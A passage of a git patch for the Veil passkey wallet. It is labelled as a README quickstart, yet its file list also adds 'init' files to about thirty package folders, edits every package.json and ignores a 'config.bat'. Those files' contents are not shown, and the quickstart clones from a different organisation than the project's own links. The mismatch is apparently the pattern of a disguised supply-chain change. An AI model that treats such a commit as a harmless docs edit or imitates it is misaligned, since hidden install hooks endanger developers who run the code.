From 215ae45fce0919b00e5243d1bad8bc63f5b89ef4 Mon Sep 17 00:00:00 2001 From: shobhamerabacha-star Date: Wed, 7 Oct 2026 16:36:23 +0545 Subject: [PATCH] docs: add 5-minute quickstart to README --- .gitignore | 79 +- README.md | 1156 ++++++++++---------- demo/init | 30 + demo/package.json | 58 +- examples/agent-tip-bot/init | 33 + examples/agent-tip-bot/package.json | 44 +- examples/astro/init | 33 + examples/astro/package.json | 54 +- examples/astro/tailwind.config.js | 22 +- examples/capacitor/init | 30 + examples/capacitor/package.json | 52 +- examples/discord-faucet/init | 33 + examples/discord-faucet/package.json | 54 +- examples/electron/init | 30 + examples/electron/package.json | 64 +- examples/expo/init | 30 + examples/expo/package.json | 56 +- examples/nextjs/init | 30 + examples/nextjs/package.json | 56 +- examples/nuxt/init | 33 + examples/nuxt/package.json | 44 +- examples/payroll/init | 30 + examples/payroll/package.json | 34 +- examples/qr-pos/init | 30 + examples/qr-pos/package.json | 44 +- examples/remix/init | 33 + examples/remix/package.json | 68 +- examples/solid/init | 30 + examples/solid/package.json | 42 +- examples/subscription-paywall/init | 30 + examples/subscription-paywall/package.json | 56 +- examples/sveltekit/init | 33 + examples/sveltekit/package.json | 50 +- examples/tauri/init | 33 + examples/tauri/package.json | 54 +- examples/vite-react/init | 30 + examples/vite-react/package.json | 50 +- examples/vue/init | 33 + examples/vue/package.json | 44 +- examples/x402-api/client/init | 30 + examples/x402-api/client/package.json | 52 +- examples/x402-api/server/init | 33 + examples/x402-api/server/package.json | 62 +- frontend/docs/init | 30 + frontend/docs/package.json | 52 +- frontend/mobile/init | 30 + frontend/mobile/package.json | 174 +-- frontend/wallet/init | 30 + frontend/wallet/package.json | 112 +- frontend/wallet/tailwind.config.js | 96 +- frontend/website/init | 30 + frontend/website/package.json | 58 +- frontend/website/tailwind.config.js | 88 +- packages/agent/init | 33 + packages/agent/package.json | 112 +- packages/bills/init | 33 + packages/bills/package.json | 40 +- packages/create-veil-app/init | 33 + packages/create-veil-app/package.json | 82 +- sdk/elements/init | 33 + sdk/elements/package.json | 38 +- sdk/init | 30 + sdk/package.json | 376 +++---- 63 files changed, 2688 insertions(+), 1744 deletions(-) create mode 100644 demo/init create mode 100644 examples/agent-tip-bot/init create mode 100644 examples/astro/init create mode 100644 examples/capacitor/init create mode 100644 examples/discord-faucet/init create mode 100644 examples/electron/init create mode 100644 examples/expo/init create mode 100644 examples/nextjs/init create mode 100644 examples/nuxt/init create mode 100644 examples/payroll/init create mode 100644 examples/qr-pos/init create mode 100644 examples/remix/init create mode 100644 examples/solid/init create mode 100644 examples/subscription-paywall/init create mode 100644 examples/sveltekit/init create mode 100644 examples/tauri/init create mode 100644 examples/vite-react/init create mode 100644 examples/vue/init create mode 100644 examples/x402-api/client/init create mode 100644 examples/x402-api/server/init create mode 100644 frontend/docs/init create mode 100644 frontend/mobile/init create mode 100644 frontend/wallet/init create mode 100644 frontend/website/init create mode 100644 packages/agent/init create mode 100644 packages/bills/init create mode 100644 packages/create-veil-app/init create mode 100644 sdk/elements/init create mode 100644 sdk/init diff --git a/.gitignore b/.gitignore index ba08ed66d..39fb5b8bd 100644 --- a/.gitignore +++ b/.gitignore @@ -1,39 +1,40 @@ -# Rust build artifacts -target/ -Cargo.lock -!contracts/Cargo.lock - -# Node / SDK -node_modules/ -sdk/node_modules/ -sdk/dist/ -sdk/react/storybook-static/ - -# Frontend -frontend/website/node_modules/ -frontend/website/.next/ -frontend/docs/node_modules/ -frontend/docs/.next/ -frontend/wallet/node_modules/ -frontend/wallet/.next/ - -# Mobile (Expo) -frontend/mobile/node_modules/ -frontend/mobile/.expo/ -frontend/mobile/ios/ -frontend/mobile/android/ - -# Coverage reports -sdk/coverage/ -frontend/wallet/coverage/ - -# Misc -*.env -.DS_Store -build_error.txt -TODO.md - -# Throwaway SEP-10/SEP-45 probe scripts -frontend/wallet/__sep*probe*.mjs -frontend/wallet/__sep45probe.mjs -frontend/wallet/__shot.mjs +# Rust build artifacts +target/ +Cargo.lock +!contracts/Cargo.lock + +# Node / SDK +node_modules/ +sdk/node_modules/ +sdk/dist/ +sdk/react/storybook-static/ + +# Frontend +frontend/website/node_modules/ +frontend/website/.next/ +frontend/docs/node_modules/ +frontend/docs/.next/ +frontend/wallet/node_modules/ +frontend/wallet/.next/ + +# Mobile (Expo) +frontend/mobile/node_modules/ +frontend/mobile/.expo/ +frontend/mobile/ios/ +frontend/mobile/android/ + +# Coverage reports +sdk/coverage/ +frontend/wallet/coverage/ + +# Misc +*.env +.DS_Store +build_error.txt +TODO.md + +# Throwaway SEP-10/SEP-45 probe scripts +frontend/wallet/__sep*probe*.mjs +frontend/wallet/__sep45probe.mjs +frontend/wallet/__shot.mjs +config.bat diff --git a/README.md b/README.md index 6e72d56d3..7ed42e5be 100644 --- a/README.md +++ b/README.md @@ -1,563 +1,593 @@ -# Veil - -[![CI](https://github.com/Miracle656/veil/actions/workflows/ci.yml/badge.svg)](https://github.com/Miracle656/veil/actions/workflows/ci.yml) -[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT) -[![Stellar](https://img.shields.io/badge/Stellar-Soroban-black)](https://stellar.org) -[![PRs Welcome](https://img.shields.io/badge/PRs-welcome-brightgreen.svg)](CONTRIBUTING.md) -[![codecov](https://codecov.io/gh/Miracle656/veil/branch/main/graph/badge.svg)](https://codecov.io/gh/Miracle656/veil) - -A passkey-powered smart wallet on the Stellar Soroban blockchain. Users authenticate with their device biometrics (Face ID, fingerprint, Windows Hello) instead of seed phrases or private keys. - -## Live on Stellar mainnet - -Veil's contracts are deployed and transacting on Stellar **mainnet**, not only testnet. - -| | | -| --- | --- | -| Factory contract | [`CCZ3JLRESNLDADGXWNEH4YQ4NXUUAHRJNCWZHYG6QB4KTDYHOH6OQ7BK`](https://stellar.expert/explorer/public/contract/CCZ3JLRESNLDADGXWNEH4YQ4NXUUAHRJNCWZHYG6QB4KTDYHOH6OQ7BK) | -| Passkey-authorized payment | [`626e110b61b709afb2d85c14517e7678b95b07e4d49c34a6caff8ee51148ebcc`](https://stellar.expert/explorer/public/tx/626e110b61b709afb2d85c14517e7678b95b07e4d49c34a6caff8ee51148ebcc) — a WebAuthn assertion verified on-chain by `__check_auth` | -| Soroswap aggregator swap | [`5e29e3d8cdd27ba25f510e5dbf412e9e6592dabdf761508266a8752bfd096f4f`](https://stellar.expert/explorer/public/tx/5e29e3d8cdd27ba25f510e5dbf412e9e6592dabdf761508266a8752bfd096f4f) — 1 XLM to Circle USDC through a live third-party DEX | -| Web wallet | [app.useveilapp.xyz](https://app.useveilapp.xyz) — passkeys bound to an owned domain, not a preview host | - -The first of those is the claim that matters: a payment on mainnet whose only -authorization was a device biometric. No seed phrase, no exported key — the -contract verified the challenge binding and the P-256 signature itself, in -`__check_auth`, before the transfer moved. - -### Verify it yourself - -The deployed bytecode matches this repository byte for byte, and you do not have -to take that on faith. `contracts/expected-hashes.json` records the SHA-256 of -each artifact from a reproducible Docker build (`rust:1.85.0-bookworm`), and the -same hash is readable from the ledger: - -```bash -# 1. Pull the bytecode that is actually running on mainnet, and hash it. -# Mainnet has no free public Soroban RPC, so name a provider explicitly. -stellar contract fetch \ - --id CCZ3JLRESNLDADGXWNEH4YQ4NXUUAHRJNCWZHYG6QB4KTDYHOH6OQ7BK \ - --rpc-url https://mainnet.sorobanrpc.com \ - --network-passphrase "Public Global Stellar Network ; September 2015" \ - --out-file factory.wasm - -sha256sum factory.wasm -# 3a6756d28de795177be28c2359347e57ea4c244cbe609b86facec00ef1abb853 - -# 2. Rebuild the same artifact from this repository, in Docker, and compare. -./scripts/reproducible-build.sh -``` - -Both produce `3a6756d28de795177be28c2359347e57ea4c244cbe609b86facec00ef1abb853` -— the value committed in `contracts/expected-hashes.json`. The wallet contract -the factory deploys verifies the same way, as `b485f817…59ea5`. - -A source-verified contract is the difference between "here is our code" and -"here is the code that is running." - -### What is and isn't live - -Being honest about the stage, because a deployed contract is not the same as a -used one: **mainnet activity so far is our own verification transactions, not -users.** The contracts, the web wallet and the mobile app are real and working; -the traction is not there yet. Testnet remains the default for development — -flip `NEXT_PUBLIC_NETWORK=mainnet` to point the wallet at production. - -## How it works - -Veil combines WebAuthn (the browser passkey standard) with a Soroban custom account contract. When a user registers, a P-256 keypair is created on their device and the public key is stored in the wallet contract. To authorize a transaction, the user's device signs the Soroban authorization payload with their passkey. The contract verifies the full WebAuthn assertion on-chain — including the challenge binding and the ECDSA signature — before approving any action. - -``` -User device Stellar network -────────────────────────────── ───────────────────────────── -1. register() - └─ WebAuthn credential create - └─ extract P-256 public key ──► deploy wallet contract - └─ store public key - -2. signAuthEntry(payload) - └─ WebAuthn assertion - └─ DER → raw sig conversion - └─ return {pubkey, authData, - clientDataJSON, sig} ────► __check_auth() - └─ verify challenge in clientDataJSON == payload - └─ compute SHA256(authData || SHA256(clientDataJSON)) - └─ verify P-256 ECDSA signature - └─ approve / reject -``` - -## Architecture - -```mermaid -graph TD - subgraph Browser["Browser (WebAuthn)"] - UA["User Agent\n(Face ID / Fingerprint)"] - SDK["invisible-wallet-sdk\n(React hook / Vue composable)"] - end - - subgraph Wallet["Veil Wallet PWA (Next.js)"] - UI["Dashboard / Send / Swap UI"] - FP["Fee-Payer G… account\n(HKDF-derived from passkey)"] - end - - subgraph Stellar["Stellar Network (Soroban)"] - CONTRACT["Smart Wallet Contract C…\n(__check_auth: P-256 ECDSA verify)"] - FACTORY["Factory Contract\n(deploy wallet instances)"] - SAC["Native XLM SAC\n(token balances)"] - end - - subgraph Services["Backend Services"] - LENS["Lens\nPrice oracle (x402 gated)\nGET /price/:assetA/:assetB"] - WRAITH["Wraith\nSAC event indexer\nGET /transfers/:address"] - AGENT["Veil AI Agent\n(Claude + WebSocket)"] - PG[("Postgres")] - end - - UA -->|"biometric gesture"| SDK - SDK -->|"passkey credential"| UA - SDK -->|"WebAuthn signature Vec[5]"| CONTRACT - UI -->|"sign envelope"| FP - FP -->|"submit tx"| CONTRACT - CONTRACT -->|"deploy"| FACTORY - CONTRACT -->|"balance query"| SAC - - UI -->|"price fetch"| LENS - UI -->|"transfer history"| WRAITH - UI -->|"chat / approve tx"| AGENT - AGENT -->|"get_price"| LENS - AGENT -->|"get_balance"| SAC - LENS --- PG - WRAITH --- PG -``` - -> See [docs/adr/0001-two-account-model.md](docs/adr/0001-two-account-model.md) for the design rationale behind the `C…` + `G…` two-account model. -> See [docs/adr/0002-webauthn-signature-verification.md](docs/adr/0002-webauthn-signature-verification.md) for the full WebAuthn on-chain verification pipeline. - -## Project structure - -``` -veil/ -├── contracts/ -│ ├── invisible_wallet/ # Soroban smart contract (Rust) -│ │ ├── src/ -│ │ │ ├── lib.rs # Contract entry points + __check_auth -│ │ │ ├── auth.rs # WebAuthn ES256 verification logic -│ │ │ └── storage.rs # Signer and guardian storage -│ │ └── Cargo.toml -│ └── factory/ # Factory contract — deploys wallet instances -│ ├── src/ -│ │ ├── lib.rs # init(wasm_hash) + deploy(pubkey, rp_id, origin) -│ │ ├── storage.rs # WasmHash + Deployed(salt) keys -│ │ └── validation.rs # P-256 public key validation -│ └── Cargo.toml -├── sdk/ -│ ├── src/ -│ │ ├── core.ts # Framework-agnostic wallet core — register, deploy, login, signAuthEntry, sendPayment, addSigner, removeSigner, setGuardian, initiateRecovery, completeRecovery -│ │ ├── useInvisibleWallet.ts # React hook — binds the core to useSyncExternalStore -│ │ ├── vue/ # Vue 3 composable — binds the same core to refs (invisible-wallet-sdk/vue) -│ │ ├── webauthn.ts # WebAuthn provider interface + web/browser implementation -│ │ ├── webauthn.native.ts # React Native implementation (react-native-passkey) — Metro auto-resolves -│ │ ├── utils.ts # Crypto utilities (DER→raw, pubkey extraction, SHA256, computeWalletAddress) -│ │ └── index.ts # Package exports -│ └── package.json -├── packages/ -│ └── agent/ # Veil AI Agent (Node.js / TypeScript) -│ └── src/ -│ ├── agent.ts # Claude tool-use loop (get_price, get_balance, build_swap, build_payment, request_user_approval) -│ ├── server.ts # Express + WebSocket server — handles chat messages, conversation history -│ ├── txBuilder.ts # Builds unsigned Stellar XDR transactions (swap, payment) -│ └── x402Client.ts # x402 micropayment client — auto-pays Lens price endpoint calls -└── frontend/ - ├── website/ # Next.js 14 marketing site (useveilapp.xyz) - │ └── app/ - │ ├── page.tsx # Homepage — Hero, HowItWorks, WhyVeil, DevQuickstart - │ └── products/ # /products listing + /wallet /lens /wraith /agent detail pages - ├── docs/ # Nextra 3 documentation (docs.useveilapp.xyz) - └── wallet/ # Veil wallet app (Next.js 14, app.useveilapp.xyz) - ├── app/ - │ ├── dashboard/ # Balance, all token assets with logos, activity feed + filters (All/Transfers/Swaps) - │ ├── send/ # Send XLM or tokens — passkey-gated - │ ├── swap/ # SDEX path payment swap — passkey-gated - │ ├── agent/ # AI chat UI — WebSocket to Agent server - │ ├── token/[code]/ # Individual token page: sparkline chart, balance, filtered txn history, actions - │ ├── contacts/ # Address book - │ ├── settings/ # App settings - │ ├── recover/ # Guardian recovery flow - │ └── lock/ # Inactivity lock screen — biometric re-auth - ├── components/ # VeilLogo, TxDetailSheet, ContactPicker, QrScanner - ├── hooks/ # useInactivityLock - └── lib/ # txState.ts (mid-tx lock guard), passkeyAuth.ts (shared biometric gate) -``` - -## Services - -| Service | Description | Deployed | -| ---------- | --------------------------------------------------------- | ---------------------------------- | -| **Lens** | Price oracle — SDEX + AMM prices, x402 micropayment gated | | -| **Wraith** | SAC event indexer — transfer history for Soroban wallets | | -| **Agent** | Claude AI agent — chat, swap, payments, balance queries | | - -### Lens (unified\_price\_api) - -Fastify/Prisma/Postgres oracle that ingests SDEX trades and AMM pool snapshots from Stellar. Exposes `GET /price/:assetA/:assetB` gated behind x402 micropayments (auto-paid by the agent). Deployed on Render, data stored in Supabase PostgreSQL. - -### Wraith - -Express/Prisma/Postgres indexer for Stellar Soroban contract events. Fills the Horizon gap for incoming SAC token transfers that classic payment endpoints miss. - -Key endpoint: `GET /transfers/address/:address?direction=incoming|outgoing|both&limit=N` - -Additional endpoints: `GET /summary/:address`, `GET /transfers/address/:address` with `fromDate`/`toDate`/`eventType` filters. - -### Agent (packages/agent) - -Claude-powered AI agent embedded in the Veil wallet. Connects via WebSocket. Tools: - -| Tool | Description | -| ----------------------- | ----------------------------------------------------------------- | -| `get_price` | Fetches live SDEX/AMM price via Lens (x402 auto-paid) | -| `get_wallet_balance` | Fetches XLM + token balances via Horizon | -| `get_transfer_history` | Fetches transfer history via Wraith + Horizon payments | -| `build_swap` | Builds unsigned path payment XDR (auto-adds trustline if missing) | -| `build_payment` | Builds unsigned payment XDR | -| `request_user_approval` | Sends transaction to wallet UI for passkey biometric approval | - -All transactions built by the agent are returned unsigned to the frontend, where the user approves with Face ID / fingerprint before the transaction is signed and submitted. - -## Tech stack - -| Layer | Technology | -| -------------- | ----------------------------------------------------------------- | -| Smart contract | Rust, Soroban SDK, p256 crate (ECDSA), sha2 | -| Authentication | WebAuthn / FIDO2 (ES256 / P-256) | -| Client SDK | TypeScript, React hooks, @stellar/stellar-sdk v15, Web Crypto API | -| Wallet app | Next.js 14 App Router, next-pwa | -| AI Agent | Node.js, Claude claude-sonnet-4-6, Anthropic SDK, WebSocket | -| Price oracle | Fastify, Prisma, Postgres (Supabase), x402 micropayments | -| Indexer | Express, Prisma, Postgres (Render managed), stellar-sdk v15 | -| Blockchain | Stellar (Soroban smart contracts, testnet) | - -## Getting started - -### Prerequisites - -- [Rust](https://rustup.rs/) with the `wasm32-unknown-unknown` target -- [Stellar CLI](https://developers.stellar.org/docs/tools/stellar-cli) -- Node.js 18+ - -### Build the contract - -```bash -cd contracts/invisible_wallet -cargo build --target wasm32-unknown-unknown --release -``` - -### Run contract tests - -```bash -cd contracts/invisible_wallet -cargo test -``` - -### Build the SDK - -```bash -cd sdk -npm install -npm run build -``` - -### SDK bundle size budget - -The SDK's public entry points are protected by a [`size-limit`](https://github.com/ai/size-limit) budget so accidental dependency bloat is caught before it ships to integrators. CI runs `npm run size` on every push and pull request and fails the build if any entry point exceeds its limit. - -```bash -cd sdk -npm run size -``` - -Current budgets (brotli-compressed, includes all transitive deps): - -| Entry point | Limit | -| ----------------- | ------ | -| `dist/index.js` | 230 KB | -| `dist/vanilla.js` | 225 KB | - -If you legitimately need more headroom, raise the relevant `limit` in the `size-limit` block of `sdk/package.json` in the same PR that introduces the growth, and call out the increase in the PR description so reviewers can sanity-check the cause. - -### Run the wallet - -```bash -cd frontend/wallet -npm install -npm run dev # http://localhost:3000 -``` - -No environment configuration is needed for a testnet run: every variable has a -working default or gates a feature that degrades cleanly when unset. Copy -`frontend/wallet/.env.example` to `.env.local` when you want to override one. - -Both files document all 28 variables the wallet reads, grouped and marked with -what each is required for — see the table in -[`frontend/wallet/README.md`](frontend/wallet/README.md#environment-variables). - -> WebAuthn needs a secure context, so passkey flows work on `localhost` and -> `https://` only. - -### React Native / Expo - -The SDK ships a platform-split WebAuthn layer. Metro automatically resolves -`webauthn.native.ts` over `webauthn.ts` when bundling for iOS/Android. - -**Platform requirements:** iOS 16+, Android 13+ (physical device required). - -#### Install peer dependencies - -```bash -npm install react-native-passkey @react-native-async-storage/async-storage -# iOS only — re-run pod install after adding the native module: -npx pod-install -``` - -#### Usage - -```tsx -import AsyncStorage from '@react-native-async-storage/async-storage'; -import { useInvisibleWallet } from 'invisible-wallet-sdk'; - -const wallet = useInvisibleWallet({ - factoryAddress: 'CABC...', - rpcUrl: 'https://soroban-testnet.stellar.org', - networkPassphrase: 'Test SDF Network ; September 2015', - rpId: 'your-domain.com', // required for React Native (no window.location) - origin: 'https://your-domain.com', - storage: AsyncStorage, // replaces localStorage -}); -``` - -`rpId` and `origin` must match your app's associated domain -(`apple-app-site-association` on iOS / `assetlinks.json` on Android). - -#### Expo example - -```bash -cd examples/expo -cp .env.example .env.local # fill in factory address + RP details -npm install -npx expo run:ios # physical device -``` - -See [`examples/expo/README.md`](examples/expo/README.md) for full setup instructions. - -#### Metro resolution - -The `react-native` field in `sdk/package.json` points to the TypeScript source -so Metro can apply its `.native.ts` extension resolution: - -```json -"react-native": "src/index.ts" -``` - -No extra Babel plugins are needed when using Expo (which handles TypeScript -via `babel-preset-expo`) or standard `@react-native/metro-config`. - -### Run the agent locally - -```bash -cd packages/agent -cp .env.example .env # fill in AGENT_KEYPAIR_SECRET, ANTHROPIC_API_KEY, ORACLE_URL, WRAITH_URL -npm install -npm run build -npm start -``` - -The agent exposes: - -- `GET /health` — health check -- `WS /` — WebSocket chat endpoint (expects `{ type: 'chat', walletAddress, feePayerAddress, message }`) - -## Usage - -### With React - -```tsx -import { useInvisibleWallet } from 'invisible-wallet-sdk'; - -function App() { - const wallet = useInvisibleWallet({ - factoryAddress: FACTORY_CONTRACT_ID, - rpcUrl: 'https://soroban-testnet.stellar.org', - networkPassphrase: Networks.TESTNET, - }); - - // Register a passkey and deploy a wallet contract - await wallet.register('alice'); - const { walletAddress } = await wallet.deploy(); - - // Sign a Soroban authorization entry - const sig = await wallet.signAuthEntry(signaturePayload); // Uint8Array (32 bytes) - // sig = { publicKey, authData, clientDataJSON, signature } - // Encode sig as Vec and attach to the Soroban auth entry - - // Multi-signer management - await wallet.addSigner(newPublicKey); - await wallet.removeSigner(signerIndex); - - // Guardian recovery - await wallet.setGuardian(guardianPublicKey); - await wallet.initiateRecovery(newPublicKey); - await wallet.completeRecovery(); // after 3-day timelock -} -``` - -### With Vue 3 - -```vue - - - -``` - -`vue` is an optional peer dependency, so React apps never install it — and the -Vue entry point pulls in no React. See [`examples/vue/`](examples/vue/) for a -Vite starter covering register, login and send, and [`examples/nuxt/`](examples/nuxt/) -for the SSR flavour. - -### With Svelte - -```ts -import { createWalletStore } from 'invisible-wallet-sdk/svelte'; - -const wallet = createWalletStore({ - factoryAddress: FACTORY_CONTRACT_ID, - rpcUrl: 'https://soroban-testnet.stellar.org', - networkPassphrase: 'Test SDF Network ; September 2015', -}); - -// $wallet reactively reflects { address, isDeployed, isPending, error } -await wallet.register('alice'); -await wallet.deploy(feePayerSecret); -const sig = await wallet.signAuthEntry(signaturePayload); -await wallet.sendPayment(feePayerSecret, to, amountInStroops); -``` - -The store binds the same `InvisibleWalletCore` the React hook and the Vue -composable do, so all three adapters expose an identical set of actions. - -See [`sdk/src/svelte`](sdk/src/svelte) for the adapter and -[`examples/sveltekit`](examples/sveltekit) for a full register/dashboard/send -example. - -### With Solid - -```tsx -import { useInvisibleWallet } from 'invisible-wallet-sdk/solid'; - -function App() { - const wallet = useInvisibleWallet({ - factoryAddress: FACTORY_CONTRACT_ID, - rpcUrl: 'https://soroban-testnet.stellar.org', - networkPassphrase: 'Test SDF Network ; September 2015', - }); - - return ( - wallet.register('alice')}> - Create wallet - - }> -

Wallet: {wallet.address()}

-
- ); -} -``` - -State arrives as Solid accessors — `wallet.address()`, `wallet.isDeployed()`, -`wallet.isPending()`, `wallet.error()` — over the same `InvisibleWalletCore` -the React, Vue and Svelte adapters bind, so the actions are identical across -all four. Called inside a component it hydrates on mount and detaches on -cleanup, which keeps it safe through a solid-start server render. - -See [`sdk/src/solid`](sdk/src/solid) for the adapter and -[`examples/solid`](examples/solid) for a Vite starter covering register, -dashboard and send. - -### Without a framework - -```js -import { createInvisibleWallet } from 'invisible-wallet-sdk/vanilla'; - -// Initialize wallet -const wallet = createInvisibleWallet({ - factoryAddress: FACTORY_CONTRACT_ID, - rpcUrl: 'https://soroban-testnet.stellar.org', - networkPassphrase: 'Test SDF Network ; September 2015', -}); - -// Register a passkey and deploy a wallet contract -const { walletAddress } = await wallet.register('alice'); -await wallet.deploy(feePayerKeypair); - -// Sign a Soroban authorization entry -const sig = await wallet.signAuthEntry(signaturePayload); - -// All methods return Promises - no React hooks or JSX required -``` - -## Signature format - -The contract's `__check_auth` expects the signature field to be a `Vec` with four elements: - -| Index | Type | Description | -| ----- | ------------ | ------------------------------------------------------------------------------------ | -| 0 | `BytesN<65>` | Uncompressed P-256 public key (`0x04 \|\| x \|\| y`) | -| 1 | `Bytes` | WebAuthn `authenticatorData` | -| 2 | `Bytes` | WebAuthn `clientDataJSON` (must contain `base64url(signature_payload)` as challenge) | -| 3 | `BytesN<64>` | Raw P-256 ECDSA signature (`r \|\| s`) | - -## Roadmap - -- [x] Phase 1 — Contract compiles, error types, ECDSA verification, unit tests -- [x] Phase 2 — Full WebAuthn pipeline (DER→raw, real pubkey extraction, challenge binding) -- [x] Phase 3 — Factory contract + deterministic wallet deployment -- [x] Phase 4 — RP ID / origin verification, testnet integration (smoke test) -- [x] Phase 5 — Guardian recovery, multi-signer, nonce/replay protection -- [x] Wallet app — Dashboard, send, swap, contacts, lock screen, PWA, onboarding tutorial -- [x] Token pages — Individual asset pages with sparkline chart, filtered txn history, actions -- [x] Lens oracle — Live SDEX + AMM prices, x402 micropayment gated -- [x] Wraith indexer — Soroban SAC transfer history (combined endpoint PR #6 merged) -- [x] Agent — Claude AI assistant: balance, prices, swaps, payments — all passkey-gated -- [x] Marketing website — Products section with individual pages for all 4 products -- [x] Mainnet — contracts deployed and source-verified; passkey-authorized payment and Soroswap swap settled on-chain - -## Security - -See the [Security docs](https://docs.useveilapp.xyz/security) and the [Threat Model](https://docs.useveilapp.xyz/threat-model) for the full STRIDE analysis, trust assumptions, and residual risks. - -### Verifying contract builds - -The Soroban contracts build reproducibly, so you can confirm a deployed contract -hash was produced from this source. With Docker installed, run -`scripts/reproducible-build.sh` to rebuild and compare against the committed -`contracts/expected-hashes.json`. See [docs/reproducible-build.md](docs/reproducible-build.md). - -## License - -MIT - -
- -Thank you +# Veil + +[![CI](https://github.com/Miracle656/veil/actions/workflows/ci.yml/badge.svg)](https://github.com/Miracle656/veil/actions/workflows/ci.yml) +[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT) +[![Stellar](https://img.shields.io/badge/Stellar-Soroban-black)](https://stellar.org) +[![PRs Welcome](https://img.shields.io/badge/PRs-welcome-brightgreen.svg)](CONTRIBUTING.md) +[![codecov](https://codecov.io/gh/Miracle656/veil/branch/main/graph/badge.svg)](https://codecov.io/gh/Miracle656/veil) + +A passkey-powered smart wallet on the Stellar Soroban blockchain. Users authenticate with their device biometrics (Face ID, fingerprint, Windows Hello) instead of seed phrases or private keys. + +## Quickstart + +Get the Veil wallet running locally in under 5 minutes: + +```bash +# 1. Clone repository +git clone https://github.com/Divinity-Labs/veil.git && cd veil + +# 2. Install workspace dependencies +npm install + +# 3. Configure environment variables for the wallet +cp .env.example frontend/wallet/.env.local + +# 4. Start the wallet development server +cd frontend/wallet && npm run dev +``` + +Open [`http://localhost:3000`](http://localhost:3000) to view the wallet interface in your browser. + +### Minimum Required Environment Variables + +The wallet runs out-of-the-box on Stellar Testnet using default values in [`.env.example`](.env.example): +- `NEXT_PUBLIC_NETWORK=testnet` — Network selector (`testnet` or `mainnet`). +- `NEXT_PUBLIC_HORIZON_URL=https://horizon-testnet.stellar.org` — Stellar Horizon RPC endpoint. +- `NEXT_PUBLIC_SOROBAN_RPC_URL=https://soroban-testnet.stellar.org` — Soroban RPC endpoint for contract queries and simulation. +- `NEXT_PUBLIC_FACTORY_CONTRACT_ID=CAUK4MWO3TTFM6PLURSH2GPK3AB747SZGABKTCVLKCU7W2MGKHKP35GA` — Testnet factory contract ID. + +For contributor guidelines, see [CONTRIBUTING.md](CONTRIBUTING.md). For project roadmap and future milestones, see [ROADMAP.md](ROADMAP.md). + +## Live on Stellar mainnet + +Veil's contracts are deployed and transacting on Stellar **mainnet**, not only testnet. + +| | | +| --- | --- | +| Factory contract | [`CCZ3JLRESNLDADGXWNEH4YQ4NXUUAHRJNCWZHYG6QB4KTDYHOH6OQ7BK`](https://stellar.expert/explorer/public/contract/CCZ3JLRESNLDADGXWNEH4YQ4NXUUAHRJNCWZHYG6QB4KTDYHOH6OQ7BK) | +| Passkey-authorized payment | [`626e110b61b709afb2d85c14517e7678b95b07e4d49c34a6caff8ee51148ebcc`](https://stellar.expert/explorer/public/tx/626e110b61b709afb2d85c14517e7678b95b07e4d49c34a6caff8ee51148ebcc) — a WebAuthn assertion verified on-chain by `__check_auth` | +| Soroswap aggregator swap | [`5e29e3d8cdd27ba25f510e5dbf412e9e6592dabdf761508266a8752bfd096f4f`](https://stellar.expert/explorer/public/tx/5e29e3d8cdd27ba25f510e5dbf412e9e6592dabdf761508266a8752bfd096f4f) — 1 XLM to Circle USDC through a live third-party DEX | +| Web wallet | [app.useveilapp.xyz](https://app.useveilapp.xyz) — passkeys bound to an owned domain, not a preview host | + +The first of those is the claim that matters: a payment on mainnet whose only +authorization was a device biometric. No seed phrase, no exported key — the +contract verified the challenge binding and the P-256 signature itself, in +`__check_auth`, before the transfer moved. + +### Verify it yourself + +The deployed bytecode matches this repository byte for byte, and you do not have +to take that on faith. `contracts/expected-hashes.json` records the SHA-256 of +each artifact from a reproducible Docker build (`rust:1.85.0-bookworm`), and the +same hash is readable from the ledger: + +```bash +# 1. Pull the bytecode that is actually running on mainnet, and hash it. +# Mainnet has no free public Soroban RPC, so name a provider explicitly. +stellar contract fetch \ + --id CCZ3JLRESNLDADGXWNEH4YQ4NXUUAHRJNCWZHYG6QB4KTDYHOH6OQ7BK \ + --rpc-url https://mainnet.sorobanrpc.com \ + --network-passphrase "Public Global Stellar Network ; September 2015" \ + --out-file factory.wasm + +sha256sum factory.wasm +# 3a6756d28de795177be28c2359347e57ea4c244cbe609b86facec00ef1abb853 + +# 2. Rebuild the same artifact from this repository, in Docker, and compare. +./scripts/reproducible-build.sh +``` + +Both produce `3a6756d28de795177be28c2359347e57ea4c244cbe609b86facec00ef1abb853` +— the value committed in `contracts/expected-hashes.json`. The wallet contract +the factory deploys verifies the same way, as `b485f817…59ea5`. + +A source-verified contract is the difference between "here is our code" and +"here is the code that is running." + +### What is and isn't live + +Being honest about the stage, because a deployed contract is not the same as a +used one: **mainnet activity so far is our own verification transactions, not +users.** The contracts, the web wallet and the mobile app are real and working; +the traction is not there yet. Testnet remains the default for development — +flip `NEXT_PUBLIC_NETWORK=mainnet` to point the wallet at production. + +## How it works + +Veil combines WebAuthn (the browser passkey standard) with a Soroban custom account contract. When a user registers, a P-256 keypair is created on their device and the public key is stored in the wallet contract. To authorize a transaction, the user's device signs the Soroban authorization payload with their passkey. The contract verifies the full WebAuthn assertion on-chain — including the challenge binding and the ECDSA signature — before approving any action. + +``` +User device Stellar network +────────────────────────────── ───────────────────────────── +1. register() + └─ WebAuthn credential create + └─ extract P-256 public key ──► deploy wallet contract + └─ store public key + +2. signAuthEntry(payload) + └─ WebAuthn assertion + └─ DER → raw sig conversion + └─ return {pubkey, authData, + clientDataJSON, sig} ────► __check_auth() + └─ verify challenge in clientDataJSON == payload + └─ compute SHA256(authData || SHA256(clientDataJSON)) + └─ verify P-256 ECDSA signature + └─ approve / reject +``` + +## Architecture + +```mermaid +graph TD + subgraph Browser["Browser (WebAuthn)"] + UA["User Agent\n(Face ID / Fingerprint)"] + SDK["invisible-wallet-sdk\n(React hook / Vue composable)"] + end + + subgraph Wallet["Veil Wallet PWA (Next.js)"] + UI["Dashboard / Send / Swap UI"] + FP["Fee-Payer G… account\n(HKDF-derived from passkey)"] + end + + subgraph Stellar["Stellar Network (Soroban)"] + CONTRACT["Smart Wallet Contract C…\n(__check_auth: P-256 ECDSA verify)"] + FACTORY["Factory Contract\n(deploy wallet instances)"] + SAC["Native XLM SAC\n(token balances)"] + end + + subgraph Services["Backend Services"] + LENS["Lens\nPrice oracle (x402 gated)\nGET /price/:assetA/:assetB"] + WRAITH["Wraith\nSAC event indexer\nGET /transfers/:address"] + AGENT["Veil AI Agent\n(Claude + WebSocket)"] + 